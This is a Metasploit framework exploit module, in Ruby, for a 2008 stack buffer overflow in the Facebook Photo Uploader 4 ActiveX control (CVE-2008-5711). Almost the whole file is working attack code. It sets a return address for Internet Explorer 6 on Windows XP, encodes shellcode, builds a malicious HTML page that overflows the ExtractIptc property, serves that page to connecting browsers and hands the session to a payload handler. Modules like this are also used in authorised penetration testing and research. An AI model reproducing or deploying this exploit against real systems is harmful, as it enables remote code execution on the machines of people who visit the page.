This Metasploit module exploits a stack overflow in Facebook Photo Uploader 4. By sending an overly long string to the "ExtractIptc()" property located in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute arbitrary code.
b3504b05e054fd4f0ce942b24ac9a517ad22489614eb259059044a52e0f865cc##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Facebook Photo Uploader 4 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Facebook Photo Uploader 4.
By sending an overly long string to the "ExtractIptc()" property located
in the ImageUploader4.ocx (4.5.57.0) Control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-5711' ],
[ 'OSVDB', '41073' ],
[ 'BID', '27534' ],
[ 'URL', 'http://milw0rm.com/exploits/5049' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'IE 6 SP0-SP2 / Windows XP SP2 Pro English', { 'Ret' => 0x74c9de3e } ], # 02/07/08
], # ./msfpescan -i /tmp/oleacc.dll | grep SEHandler
'DisclosureDate' => 'Jan 31 2008',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
filler = Rex::Text.to_unescape(rand_text_alpha(2))
jmp = Rex::Text.to_unescape([0x969606eb].pack('V'))
ret = Rex::Text.to_unescape([target.ret].pack('V'))
sc = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Build out the message
content = %Q|
<html>
<object classid='clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0' id='#{vname}'></object>
<script language='javascript'>
#{rand1} = unescape('#{filler}');
while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
#{rand2} = unescape('#{jmp}');
#{rand3} = unescape('#{ret}');
#{rand4} = unescape('#{sc}');
#{strname} = #{rand1} + #{rand2} + #{rand3} + #{rand4};
#{vname}.ExtractIptc = #{strname};
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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